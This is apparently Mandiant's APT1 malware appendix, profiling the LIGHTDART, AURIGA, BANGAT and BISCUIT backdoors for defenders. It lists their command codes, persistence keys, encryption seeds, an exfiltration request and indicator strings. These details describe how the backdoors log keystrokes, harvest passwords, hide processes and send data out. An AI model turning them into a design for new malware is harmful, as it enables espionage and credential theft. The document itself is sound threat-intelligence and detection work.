MANDIANT®

APT1

Exposing One of China's Cyber Espionage Units

APPENDIX C: THE MALWARE ARSENAL

For the full report visit
http://www.mandiant.com/apt1

PREFACE

This appendix includes profiles of malware families that APT1 has used. We believe APT1 personnel developed most of these tools. The profiles are intended to illustrate how APT1 uses each tool and how that malware tends to behave once it is deployed. Each profile contains a description derived from representative samples. Because these malware families have evolved over time, each family may include variants whose features differ in some detail from its family's profile, including file names, registry keys, mutex names, and command and control addresses. In addition, some variants may not include every function that is described in the family's profile.

In our effort to normalize profiles for APT1 backdoors, we are using the following generic function categories. These appear in tables that illustrate each backdoor's capabilities within the "Function" column.

Function category	Description
Capture keystrokes	Record what the user types
Capture mouse movement	Record how the user is moving the mouse
Change directories	Change the current working directory
Close connection	Close a network connection
Create processes	Run programs
Create/modify files	Create, modify or delete files or directories
Download and execute file [from specified URL]	Download and execute a file from a specified address
Download file [from specified URL]	Download a file from a specified address
Enumerate files	Gather information about files or directories
Enumerate systems	Gather information about other systems in the network
Enumerate users	Gather information about user accounts
Establish connection	Create a network connection to another system
Exit	Stop the backdoor from running
File upload	Transfer a file from the victim system to the C2 server
File download	Transfer a file to the victim system from the C2 server
Gather system information	Gather information about the victim system (usually includes details like hostname, IP address, operating system)
Harvest passwords	Take actions to collect user account passwords or password hashes
Hide Connections	Hide the fact that the system has certain open network connections
Hide Processes	Hide the fact that the system is running certain programs
Interactive command shell	Allow the attacker to type commands that are executed locally on the victim system. This most often involves passing the attacker a Windows command shell, allowing the attacker to issue any command that the Windows command shell can process (e.g. "dir", "cd", "type")
Kill processes	Stop currently running programs
List processes	List the currently running programs
Log off the current user	Cause the currently logged-in user to log off
Modify the registry	Make configuration changes to the system by altering the registry
Open listening port	Listen for incoming communication on a specific port
Process injection	Modify an already-running program to execute attacker-specified code
Read files	Open and review file or directory contents
Remote desktop interface	Give the attacker a graphical user interface to the system
Route network traffic	Direct network traffic from one address to another

Set file attributes	Modify the metadata that describes a file, e.g. file creation times
Set sleep interval	Specify the amount of time the backdoor should go inactive
Shutdown the system	Shutdown the system
Sleep	Go inactive (that is, do not communicate with the C2 server)
Take screenshots	Display images to the attacker that show what a user sitting in front of the system would see on the screen
Uninstall	Uninstall the backdoor
Update C2 config	Begin communicating with the C2 server at a new address

Table 1: Backdoor function categories and associated definitions

Where possible, we have provided the exact function code that the backdoor understands and associated the code with each function category.

Finally, in some places, we have highlighted text with red font. The red font represents the following kinds of variable information:

- System environment variables, for example `%TEMP%`: The operating system's temporary directory varies in location depending on the version. If a backdoor is programmed to create a file in the operating system's temporary directory, on some operating systems it may create the file in C:\WINDOWS\Temp while in others the directory may be C:\WINNT\Temp. All of the environment variables in this appendix are Windows system-defined variables except for `%CURRENTDIRECTORY%`, which we are using to denote the malware's current working directory.

- Programming variables, for example `<Hostname>`: These variables represent data that will be filled in at run-time depending on current circumstances such as the victim system's environment or what the attacker is trying to do at the moment.

- File names (for example `ctfmon.exe`) or network addresses (mostly IP addresses or domain names) will almost certainly vary across samples.

- Strings in network communication examples will be variable depending on the current circumstances.

Table of Contents_Toc348351387

Pre-Compromise Reconnaissance

LIGHTDART – Malware Profile

LIGHTDART is a tool used to access a pre-configured Web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that Web page to an encrypted RAR file. This RAR file (`1.rar`) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target Web page usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The malware will use the current day as a search parameter to the search page. The malware will save the results of this request to *%CURRENTDIRECTORY%*`\ret.log`. The malware will then copy this file to *%CURRENTDIRECTORY%*`\qy.htm` and archive this file to *%CURRENTDIRECTORY%*`\1.rar` with a password of `1qaz2wsx`. After the RAR file has been created, the malware will upload the RAR file to a pre-configured address. The malware will then sleep for one day and rerun the process once a day.

```
PUT /images/ydwNewark.jpg HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Microsoft Internet Explorer 6.0
Host: www.<redacted>.net
Content-Length: 413
Cache-Control: no-cache

<1.rar data>
```

Figure 1: LIGHTDART HTTP PUT RAR Upload

Host-Based Signatures

- The malware will create the following files:
  - *%CURRENTDIRECTORY%*`\1.rar` (password: `1qaz2wsx`)
  - *%CURRENTDIRECTORY%*`\ret.log`
  - *%CURRENTDIRECTORY%*`\qy.htm`

Network-Based Signatures

- The malware has been observed with the following User-Agent string:
  - `Microsoft Internet Explorer 6.0`

Unique Strings

```
0123456789ABCDEF
Error:%s
ErrCode=%ld
ret.log
0x%x
0x%c%c
lpInternetReadFile
lpInternetOpenUrl
lpInternetOpen
Microsoft Internet Explorer 6.0
InternetCloseHandle
InternetReadFile
InternetOpenUrlA
InternetOpenA
```

```
Wininet.dll
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
HttpSendRequestA
HttpOpe
nRequestA
InternetConnectA
3171617A32777378
%s\%s
szURL Fail
szURL Successfully
%s&sdate=%04ld-%02ld-%02ld 00:00:00&edate=%04ld-%02ld-%02ld 23:59:59
687474703A2F2F6F647973736575732E71732D76612E6F7262636F6D6D2E6E65742F6169732F706F736974
7365617263682E7068703F616374696F6E3D5365617263682666C696D69743D32323030266F66667365743D
3026756C6C61743D3230266C726C61743D2D3130266C726C6F6E3D373026756C6C6F6E3D3430
696D616765732F7964774E657761726B2E6A7067
7777772E666F7263656F7074696F6E732E6E6574
312E726172
71792E68746D
```

Establish Foothold / Maintain Presence

AURIGA – Malware Profile

AURIGA is a backdoor that shares a large amount of functionality with the BANGAT backdoor. The malware can start a keylogger, connect to a driver and create a connection to a C2 server among many other features, as listed in Table 2.

Function	Additional Description
Capture keystrokes	
Capture mouse movement	
Create/kill processes	
Create/modify files	
File upload/download	Use as an echo server with the command and control server
Gather system information	Includes the computer name, hardware adapter information, NTFS volume serial number, memory usage, CPU frequency, OS version, and Internet Explorer version
Harvest passwords	
Hide Connections	Offers two different methods of connection hiding, via nsiproxy or the tcp device
Hide Processes	Hide processes by PID, unlinking them from the Active Process List
Interactive command shell	
Log off the current user	
Modify the registry	
Open listening port	
Process injection	
Remote Desktop interface	
Shutdown the system	
Take screenshots	

Table 2: AURIGA Functionality

All collected information is encrypted via DES. The creation of the DES key is performed using an MD5 sum of this string: `!b=z&7?cc,MQ>`. DES is also used for encrypting network communications. The malware communicates to its C2 servers on port 443, but it does NOT use SSL or TLS.

The malware may be instructed to send the contents of the keylogger to the command and control server. The keylogger information will be stored to `%WINDIR%\System32\config\sam.sav`.
The malware can provide an interactive shell session. The session data is also encrypted with DES. It first copies `%SYSTEMROOT%\system32\cmd.exe` to `%SYSTEMROOT%\system32\ati.exe`. The `ati.exe` copy is modified to replace any (case-insensitive) strings of "`microsoft corp.`" with "superhard corp." This is likely done to obfuscate the Microsoft copyright notice included in the Windows cmd.exe banner that prints when `cmd.exe` is first run. The `ati.exe` file is deleted after the interactive session terminates.

When harvesting usernames and password the malware will look in `HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts` for the following values:

```
POP3 User Name
HTTPMail User Name
HTTPMail Password2
```

```
Hotmail
POP3 Server
POP3 Password2
```

Figure 2: Password Harvesting Account Strings

When harvesting information the malware will open the protected store. (The protected store is a facility in Windows that is used to store sensitive information from users in an encrypted format.) It will enumerate the protected store for the following values:

- `autocomplete passwords`
- `IE protected sites`
- `OutlookExpress`

If instructed via command and control, the malware may create a thread listening on any port. When a connection occurs to the port it will create a new outbound connection to the command and control server. It will then use this new connection as an echo server with the command and control server. The purpose of this feature is unclear, though it may be related to network troubleshooting.
The AURIGA DLL is injected into a process by the driver `riodrv32.sys`. The driver creates the devices `\Device\rio32drv` and `\DosDevices\rio32drv`.

The driver will create the registry key `HKLM\SOFTWARE\riodrv`. After this, `riodrv32.sys` uses the registry key `HKLM\SOFTWARE\riodrv32\TEMP` to locate the malware executables. It will then copy the AURIGA DLL to `%SYSTEMROOT%\system32\` and `riodrv32.sys` to `%SYSTEMROOT%\system32\drivers\` and set the file times to match `%SYSYTEMROOT%\system32\arp.exe`.

The malware driver has the ability to inject a DLL into any process based on name. It also has the ability to hide a single IP address from a network connection listing. It offers two different methods of connection hiding, via NSIProxy or the TCP device. Finally, it can hide processes by PID, unlinking them from the Active Process List.

IOCTL	Functionality
0x2A7B8008	Register IP for connection hiding
0x2A7B800C	Inject DLL into process <dll_name>\x00<proc_name>
0x2A7B8010	Unknown (accesses registry)
0x2A7B8018	Hide process by PID

Table 3: AURIGA driver functionality

Persistence Mechanism

- The malware creates the key `HKEY_LOCAL_MACHINE\SOFTWARE\riodrv`
- The malware creates the following key/value pairs under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\riodrv32`
  - `Type` = 1
  - `ErrorControl` = 1
  - `Start` = 2
- The malware may create the keys:
  - `HKEY_LOCAL_MACHINE\SOFTWARE\riodrv32\TEMP`
  - `HKEY_LOCAL_MACHINE\SOFTWARE\riodrv32\DEL`
- The malware may communicate using any of the following:
  - `\\.\rio16drv`
  - `\\.\rio32drv`

Host-Based Signatures

- The malware may create files with the following extensions: .tmp, .7z and .zip
- The malware may create any of the following files:
  - `%USERPROFILE%\sam.sav`
  - `%SYSTEMROOT%\system32\sam.sav`

    - %USERPROFILE%\Local Settings\Temp\sam.dat
    - %USERPROFILE%\Local Settings\Temp\~_MC_#~<counter>
        - # can be a number between 2-7
        - <counter> either is not present or is a number
    - Adobe_sl.exe
    - %SYSTEMROOT%\system32\netui.dll
    - %SYSTEMROOT%\system\netui.dll
    - %SYSTEMROOT%\system32\drivers\riodrv32.sys
    - %SYSTEMROOT%\system32\ati.exe
        - "microsoft corp" may be renamed "superhard corp" in the exe

Network-Based Signatures

- The malware encrypts network traffic with DES seeded with the following MD5 hash of the string:
    - !b=z&7?cc,MQ>
- Reference Appendix F for known APT1 generated certificates used in conjunction with this malware.

Unique Strings – Installed DLL

```
superhard corp.
microsoft corp.
~\*.*
%s[%s]
%Y-%m-%d  %H:%M:%S
b[HOME]
[Insert]
[Delete]
[End]
[Tab]
<Enter>
[Ctrl]
[Esc]
[PageUp]
[PageDown]
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Microsoft Corporation
FileDescription
NT LM UI Common Code - GUI Classes
FileVersion
5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
InternalName
netui.dll
LegalCopyright
(C) Microsoft Corporation. All rights reserved.
OriginalFilename
netui.dll
ProductName
Microsoft(R) Windows(R) Operating System
ProductVersion
5.1.2600.2180
VarFileInfo
Translation
Unknown Manufacturer
Transmeta
Rise
United Microelectronics Corp.
IDT\Centaur, Via Inc.
NexGen Inc., Advanced Micro Devices
```

```
Cyrix Corp., VIA Inc.
National Semiconductor
Advanced Micro Devices
Intel Corporation
Geode By NSC
TransmetaCPU
GenuineTMx86
RiseRiseRise
CentaurHauls
NexGenDriven
CyrixInstead
AMD ISBETTER
AuthenticAMD
UMC UMC UMC
GenuineIntel
%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x
Unknown family
Cx486SLC \ DLC \ Cx486S A-Step
Nx586 or Nx586FPU
Unknown NexGen family
MediaGX GX, GXm
5x86
Unknown Cx5x86 family
Cx6x86
MediaGX GXm
Unknown Cx6x86 family
6x86MX
Cyrix M2 Core
WinChip C5A Core
WinChip C5B\C5C Core
WinChip C5C-T Core
Unknown 6x86MX\Cyrix III family
Unknown Cyrix family
Unknown IDT\Centaur family
VIA Cyrix III - Samuel
Unknown UMC family
mP6 (0.25)
mP6 (0.18)
Unknown Rise family
Crusoe TM3x00 and TM5x00
Unknown Crusoe family
Unknown Transmeta family
80486DX2
80486DX2 WriteBack
80486DX4
80486DX4 WriteBack
5x86WB
Unknown 80486 family
K6 (0.25
K6-2
K6-III
K6-2+ or K6-III+ (0.18
Unknown 80586 family
K6 (0.30
SSA5 (PR75, PR90, PR100)
5k86 (PR120, PR133)
5k86 (PR166)
5k86 (PR200)
Athlon(0.25)
Athlon(0.18)
Duron(SF core)
Athlon(Thunderbird core)
Athlon(Palomino core)
```

```
Duron(Morgan core)
Athlon?XP (Thoroughbred core)
Athlon?MP (Thoroughbred core)
Unknown K7 family
Unknown AMD family
Newer i80386 family
i80486DX4 WriteBack
i80486DX4
i80486DX2 WriteBack
i80486SX2
i80486SL
i80486DX2
i80486SX
i80486DX-50
i80486DX-25/33
P5 A-Step
P54C
P24T OverDrive
P55C
P55C (0.25
Unknown Pentium?family
PentiumIII (0.25)
PentiumIII (0.18) With 256 KB On-Die L2 Cache
PentiumIII (0.18) With 1 Or 2 MB On-Die L2 Cache
PentiumIII (0.13) With 256 Or 512 KB On-Die L2 Cache
Unknown P6 family
PentiumII With On-Die L2 Cache
P6 A-Step
PentiumII (0.28)
PentiumII (0.25)
Intel Merced (IA-64)
PentiumIV (0.18)
PentiumIV (0.13)
Unknown Pentium 4 family
Intel McKinley (IA-64)
Unknown Intel family
~_MC_3~
_STOP_
*@)(!@PORT
(*@)(!@URL
(*@)(!@DESC
!(*@)(!@KEY
!(*@)(!@SID=
```

Unique Strings – riodrv32.sys

```
\Registry\Machine\System\CurrentControlSet\Services\riodrv32
\SystemRoot\System32\arp.exe
\Registry\Machine\SOFTWARE\riodrv32
l\??\
Start
ErrorControl
Type
\riodrv32.sys
\SystemRoot\System32\drivers\riodrv32.sys
\SystemRoot\System32\netui.dll
\netui.dll
\Registry\Machine\SOFTWARE\riodrv
\Device\Tcp
CSDVersion
CurrentVersion
wuauserv.dll
e\Driver\nsiproxy
```

```
\DosDevices\rio32drv
\Device\rio32drv
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
S3/Diamond Multimedia Systems
FileDescription
RioDrv Usb Driver
FileVersion
1.00.0000.0
InternalName
riodrv32
LegalCopyright
(C) S3/Diamond Multimedia Systems. All rights reserved.
OriginalFilename
riodrv32.sys
ProductName
S3/Diamond Multimedia Systems
ProductVersion
1.00.0000.0
VarFileInfo
Translation
\Registry\Machine\SOFTWARE\riodrv32
netui.dll
TEMP
System
svchost.exe
RSDSU7
d:\drizt\projects\auriga\branches\stone_~1\server\exe\i386\riodrv32.pdb
```

BANGAT – Malware Profile

BANGAT is a backdoor that shares a large amount of functionality with the AURIGA backdoor. The malware can start a keylogger, connect to a driver and create a connection to a C2 server among many other features.

Function	Additional Description
Capture keystrokes	
Capture mouse movement	
Create/kill processes	
Create/modify files	
Gather system information	Includes the computer name, hardware adapter information, NTFS volume serial number, memory usage, CPU frequency, OS version, and Internet Explorer version
Harvest passwords	Export LSA secrets from registry (RAS/VPN) passwords. Export Internet Explorer and Outlook passwords.
Interactive command shell	
Log off the current user	
Modify the registry	
Process injection	
Shutdown the system	
Take screenshots	

Table 4: BANGAT functionality

Network communications are encrypted via SSL, using self-signed certificates generated with OpenSSL. In addition to network communications being encrypted via SSL, the collected information is encrypted via DES. The creation of the DES key is performed using an MD5 sum of this string: `!b=z&7?cc,MQ>`.

The malware's keylogger saves keystrokes to `%WINDIR%\System32\config\sam.sav`. It may be instructed to send these keystrokes to the command and control server.

The malware can also provide an interactive shell session. The session data is encrypted with OpenSSL and DES as in the normal control communications. It first copies `%SYSTEMROOT%\system32\cmd.exe` to `%SYSTEMROOT%\system32\ati.exe`. The `ati.exe` copy is modified to replace any (case-insensitive) strings of "`microsoft corp.`" with "`superhard corp.`" This is likely done to obfuscate the Microsoft copyright notice included in the Windows cmd.exe banner that prints when `cmd.exe` is first run. The `ati.exe` file is deleted after the interactive session terminates.

BANGAT has a custom protocol that is similar to VNC or Remote Desktop. When activated it will create periodic screenshots of the desktop, zlib-compress the picture, and send to the server. It can also accept mouse and keyboard actions and forward them to the desktop. This allows the control server to control the compromised machine as if they were sitting at it. This VNC-like network traffic is encrypted with both OpenSSL and DES as in the normal control communications.

The malware also has a proxy capability. It is capable of connecting to arbitrary hosts. Data sent to and from the C2 server is DES and SSL encrypted as normal. This is decrypted and forwarded to the remote host.

Persistence Mechanism

- The malware may create the following keys:
  - `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_<SERVICE_NAME>`
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<SERVICE_NAME>`

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<SERVICE_NAME>\Parameters\ServiceDll
  - Value: <path_to_dll> (%SYSTEMROOT%\system32\rasauto32.dll).
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<SERVICE_NAME>\DisplayName
  - <SERVICE_NAME> is Iprip, or Nwsapagent.
  - Value: “Remote Access Auto Connection Manager”.

Host-Based Signatures

- Creates the directory %USERPROFILE%\Local Settings\Temp where temp files will be stored. The directory may already exist on a normal system.
- The malware creates temporary files during the system information collection process. They are typically named ~_MC_#~, where the # is a single digit number. They are located in the %USERPROFILE%\Local Settings\Temp directory.
- The malware may temporarily create the file %SYSTEMROOT%\system32\ati.exe

Network-Based Signatures

- Refer to Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings

```
superhard corp.
microsoft corp.
inflate 1.2.3 Copyright 1995-2005 Mark Adler
funtion_dll.dll
RundllInstall
RundllUninstall
ServiceInstall
ServiceMain
UnServiceInstall
ati.exe
Unknown Manufacturer
Transmeta
United Microelectronics Corp.
IDT\Centaur, Via Inc.
NexGen Inc., Advanced Micro Devices
Cyrix Corp., VIA Inc.
National Semiconductor
Advanced Micro Devices
Intel Corporation
Geode By NSC
TransmetaCPU
GenuineTMx86
RiseRiseRise
CentaurHauls
NexGenDriven
CyrixInstead
AMD ISBETTER
AuthenticAMD
UMC UMC UMC
GenuineIntel
%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x-%.2x%.2x
Unknown family
Cx486SLC \ DLC \ Cx486S A-Step
Nx586 or Nx586FPU
Unknown NexGen family
MediaGX GX, GXm
```

```
Unknown Cx5x86 family
Cx6x86
MediaGX GXm
Unknown Cx6x86 family
Unknown 6x86MX\Cyrix III family
WinChip C5C-T Core
WinChip C5B\C5C Core
WinChip C5A Core
Cyrix M2 Core
6x86MX
Unknown Cyrix family
VIA Cyrix III - Samuel
Unknown IDT\Centaur family
Unknown UMC family
mP6 (0.25)
mP6 (0.18)
Unknown Rise family
Crusoe TM3x00 and TM5x00
Unknown Crusoe family
Unknown Transmeta family
Unknown 80486 family
5x86WB
80486DX4 WriteBack
80486DX4
80486DX2 WriteBack
80486DX2
Unknown 80586 family
K6-2+ or K6-III+ (0.18
K6-III
K6 (0.25
K6 (0.30
5k86 (PR200)
5k86 (PR166)
5k86 (PR120, PR133)
SSA5 (PR75, PR90, PR100)
Unknown K7 family
Athlon?XP (Thoroughbred core)
Athlon?MP (Thoroughbred core)
Duron(Morgan core)
Athlon(Palomino core)
Athlon(Thunderbird core)
Duron(SF core)
Athlon(0.18)
Athlon(0.25)
Unknown AMD family
Unknown Intel family
PentiumIV (0.18)
PentiumIV (0.13)
Unknown Pentium 4 family
Intel McKinley (IA-64)
Intel Merced (IA-64)
Unknown P6 family
PentiumIII (0.13) With 256 Or 512 KB On-Die L2 Cache
PentiumIII (0.18) With 1 Or 2 MB On-Die L2 Cache
PentiumIII (0.18) With 256 KB On-Die L2 Cache
PentiumIII (0.25)
PentiumII With On-Die L2 Cache
PentiumII (0.25)
PentiumII (0.28)
P6 A-Step
Unknown Pentium?family
P55C (0.25
P24T OverDrive
```

```
P5 A-Step
i80486DX4 WriteBack
i80486DX4
i80486DX2 WriteBack
i80486SX2
i80486SL
i80486DX2
i80486SX
i80486DX-50
i80486DX-25/33
Newer i80386 family
~_MC_3~
_STOP_
www.nirvanaol.com
*@)(!@PORT
(*@)(!@URL
(*@)(!@DESC
!(*@)(!@KEY
!(*@)(!@SID=
dnsapi.dll
!(*@)(!@SID=
%USERPROFILE%\Local Settings\
!b=z&7?cc,MQ>
Microsoft DH SChannel Cryptographic Provider
%08x: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --   ................
Access denied
----------------------------end   binary output------------------------------
----------------------------begin binary output------------------------------
key [%S]
NtImpersonateThread
OpenThread(%d) Error %d: %s
NtImpersonateThread ErrorStatus 0x%08x: %s
NTDLL.DLL
lsass.exe
SECURITY\Policy\Secrets
LsaOpenPolicy Error 0x%08x: %s
Error: %s
~_MC_6~
winsta0
4^4^6N\^^4_
;8?+2*^
~_MC_7~
   0x%X       %2d
Thread Information:
      TID     Priority
  %p(%p)  %8u  %s
  %p %*s   %8u  %s
  Fixed
Modules Information:
  Usage  %-*s(%-*s)  %8s  Module
BaseAddr
ImagAddr
   PID=%d, ParentPID=%d, PriorityClass=%d, Threads=%d, Heaps=%d
Filename: %s
DreateRemoteThread
XriteProcessMemory
kernel32.dll
HKEY_CURRENT_CONFIG
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
~_MC_4~
```

```
DISPLAY
~_MC_5~
Creates a connection to a remote network whenever a program references a remote DNS or
NetBIOS name or address.
Remote Access Auto Connection Manager
Svchost.exe
RegSetValueEx(ServiceDll)
ServiceDll
GetModuleFileName() get dll path
RegCreateKey(Parameters)
Parameters
SYSTEM\CurrentControlSet\Services\
%SystemRoot%\System32\svchost.exe -k netsvcs
OpenSCManager()
RegQueryValueEx(Svchost\netsvcs)
netsvcs
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
_NULL_
Microsoft Win32s
Microsoft Windows Millennium Edition
Microsoft Windows 98
Microsoft Windows 95
%s (Build %d)
Service Pack 6a (Build %d)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
Service Pack 6
%d.%d
SERVERNT
LANMANNT
Workstation
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
Server 4.0
Server 4.0, Enterprise Edition
Server
Advanced Server
Datacenter Server
Standard Edition
Web Edition
Enterprise Edition
Datacenter Edition
Professional
Home Edition
Workstation 4.0
Microsoft Windows NT
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows 2003
Microsoft Windows Vista
Error: CPU does not support CPUID.
Vendor ID: %s
CPU Type ID: %s
Family ID: %s
Model ID: %s
Stepping Code: %s
Brand ID: %s
Clock Frequency: %d MHz
Number of CPU(s): %d
Internet Explorer Version: %ld.%ld, Build Number: %ld
DllGetVersion
shdocvw.dll
Windows directory:  %s
System directory:  %s
```

```
User name:  %s
Computer name:  %s
Running time : %d day %02d:%02d:%02d
Precent of used RAM: %ld%%
Memory Available: %ldKB
Installed RAM: %ldMB
DRIVE_UNKNOWN
DRIVE_RAMDISK
DRIVE_CDROM
DRIVE_REMOTE
%ld(MB)
DRIVE_FIXED
DRIVE_REMOVABLE
Unable to determine
Hotmail
HTTPMail Password2
HTTPMail User Name
POP3 Password2
POP3 Server
POP3 User Name
Software\Microsoft\Internet Account Manager\Accounts
OutlookExpress
Deleted OE Account
AutoComplete Passwords
IE Auto Complete Fields
https:/
http:/
:String
StringIndex
IE:Password-Protected sites
220d5cc1
e161255a
5e7e8100
QStoreCreateInstance
pstorec.dll
RasAuto
explorer.exe
```

BISCUIT – Malware Profile

BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon to its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The first data sent by the malware to the configured host and port is a beacon sequence, which begins with the following string (encrypted in network traffic):

```
host <HOSTNAME> <IP>
```

Figure 3: BISCUIT Beacon Sequence

The hostname field in the beacon sequence listed above is the hostname of the local system. The IP is a list of all IP addresses of the local system. Over the same connection the malware then expects one of the following commands to be returned from the server:

Function	Command	Additional Description
Interactive command shell	`bdkzt`	Launches a command shell process. The malware will create a file named `AcroRD32.exe`, which will contain the version of Microsoft's command processor (cmd.exe) stored in the malware's PE resource section. `AcroRD32.exe` will be deleted when the command shell is done executing.
Gather system information	`ckzjqk`	Return detailed information about the host including processor type, operating system, computer and user names, uptime and whether it is a laptop or PC. In addition, this command may return information about any Smart Card Service Provider Modules (SCSPM), smart card readers, and smart cards attached to the system.
Take screenshots	`cs <process> <directory> <period> <maxbytes>`	Periodically take screenshots of the system if a given process is running. Screenshots are written to a specified directory but a maximum size (in screenshot data) can be specified.
File download	`download <file>`	Receive a file from the remote server to the specified file name.
File download	`DownloadEnd`	End download session
Create processes	`exe <file> <user>`	Launches a program as a specific user.
Sleep	`exit`	Closes the connection and sleeps for a random amount of time before reconnecting.
Create/modify files	`fm <file>`	Decrypt a file
	`isok`	Indicates whether the service should continue processing commands.
Create/modify files	`jkdoc <directory>`	Monitor a specified directory for new shortcuts and copy their targets to the directory "`C:\Windows\System32\drivers\own`".
Create/modify files	`jm <file>`	Encrypt a file
Capture keystrokes	`key`	Begin the keystroke logger.
Enumerate systems	`lists <type>`	Lists servers on a Windows network. Type argument can be either "`sql`" for SQL database servers, "`dc`" for domain controllers, "`term`" for terminal servers or "`all`" to list all servers.
List processes	`ljc`	Enumerate running processes and identify their owners.
File upload/download	`recentfile datasize <size>`	Allows resume of file transfer at offset
Uninstall	`remove`	Uninstall the malware (removes the service).

Kill processes	sjc <PID>|<NAME>	Terminate a process, either by process ID or by process name.
File download	stfile	Causes download statistics to be returned after a download command.
File upload	upload <file>	Send a specified file to the remote server.
File upload	upload datasize <size>	Size of data to be uploaded
Interactive command shell	zxdosml <input>	Send input to the command shell process (launched with “bdkzt”).

Table 5: BISCUIT functionality

Some variants of BISCUIT appear to have the ability to enumerate information about any Smart Cards that are attached to this system. The malware can provide information to attackers that includes (but may not be limited to) the Smart Card Service Provider Module (SCSPM) version, smart card readers attached to the system, and any smart cards that are currently inserted into the system. The malware uses an API documented in the NIST Report 6887 – Government Smart Card Interoperability Specification (http://csrc.nist.gov/publications/nistir/nistir-6887.pdf). It obtains this information from acbsiprov.dll, which may be a component of the ActivClient Cryptographic Service Provider (http://www.actividentity.com/).

Additionally, some variants may create a copy of %WINDIR%\system32\cmd.exe at one of the following locations:

- %TEMP%\ctfmon.exe\svchost.exe
- %WINDIR%\svchost.exe

If successful in making the copy to %TEMP% the malware will then try to change the banner “Microsoft Corp.” to “Macrosoft Corp.”. It will then copy to %WINDIR%.

Persistence Mechanism

- The malware is intended to be installed as a service, and the path to the malware will be stored in a registry value such as:
    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\*<service>*\

Host-Based Signatures

- The malware may write BMP files to a directory on the system identified as <number>.bmp, such as 1.bmp or 17.bmp.
- The malware may create a copy of %WINDIR%\system32\cmd.exe to one of the following locations, changing the string “Microsoft Corp.” to “Macrosoft Corp.”:
    - %TEMP%\ctfmon.exe\svchost.exe
    - %WINDIR%\svchost.exe

Network-Based Signatures

- Refer to Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings

```
Program:
<program name unknown>
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
Intel Hardware Cryptographic Service Provider
.\crypto\engine\eng_init.c
```

```
RAND part of OpenSSL 0.9.8i 15 Sep 2008
@@.\crypto\rand\md_rand.c
You need to read the OpenSSL FAQ, http://www.openssl.org/support/faq.html
%s.dll
CONIN$
CloseHandle
SeSecurityPrivilege
SeShutdownPrivilege
Unknown type!
Ramdisk
CD-ROM
Remote
find %c:\ %dM/%dM
Removable
Unable to determine.
systen mem: %dM  used: %d%%  PageFile: %dM free: %dM
System Power on time: %f hours.
machine type: maybe pc.
machine type: maybe Laptop!
version: %s v%d.%d build %d%s
Win32s on Windows 3.1
Win32 on Windows 95
Windows NT
Windows?
can't get ver info!
 MIPSR4000
 UNKNOWN
 I586
 I386
 I486
user:
get user name error!
computer name:
get computer name error!
----client system info----
process-cmd-stopped
jcsize%6d!#
ckzjqk
stfile
Recentfile datasize
Create localfile error!
Upload datasize
Download file ok!
DownloadEnd
upload
download
WritePip Error!
bind cmd frist!
zxdosml
execute error!
Logon user err!
start cmd error!
create pipe error!
cmd success!
cmd.exe
cmdsize%6d!#
Reading remote file error!
Download datasize %I64dbytes!
create remote file error!
Upload file ok!
fileupload
FileThread error!
WYZQLHHH
```

```
\irmonsrv.dll
NtQuerySystemInformation
List domain server ok!
Entries enumerated: %d
Total entries: %d
More entries available!!!
Access denied!
  Comment:  %12s
 (PRI)
 (MFP)
 (NOV)
 (TRM)
 (SQL)
 (BDC)
 (PDC)
    Type:
   Platform:  %4d   Version:  %d.%d
  HostName:
A system error has occurred: %d
%d processes enumerated
%-16s\%s
 %-8ld%-22s
==================   Current Process   ==================
ntdll.dll
Client process-%d-stoped!
Can not stop-%d-!
SeDebugPrivilege
```

Unique Strings – Smartcard aware variant

```
symname(
%s.dll
.com
.bat
.cmd
.exe
./\
SeShutdownPrivilege
SeSecurityPrivilege
kernel32.dll
----client system info----
get computer name error!
computer name:
get user name error!
user:
 I386
 I486
 I586
 MIPSR4000
 UNKNOWN
can't get ver info!
Win32s on Windows 3.1
Win32 on Windows 95
Windows NT
Windows?
version: %s v%d.%d build %d%s
No Ca Reader!
No Ca Incert!
Ca Incert!
machine type: maybe pc.
machine type: maybe Laptop!
System Power on time: %f hours.
systen mem: %dM  used: %d%%  PageFile: %dM free: %dM
```

```
%c:\
Unable to determine.
Removable
find %c:\ %dM/%dM
Remote
CD-ROM
Ramdisk
Unknown type!
bad allocation
Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE
McUpdate
cmd.exe
host
isok
exit
exit
bdkzt
cmd success!
create pipe error!
start cmd error!
exe
NULL
Logon user err!
execute error!
zxdosml
bind cmd frist!
WritePip Error!
download
upload
DownloadEnd
Download file ok!
cmdok
Upload datasize
Create localfile error!
Recentfile datasize
stfile
lists
ckzjqk
ljc
jcsize%6d!#
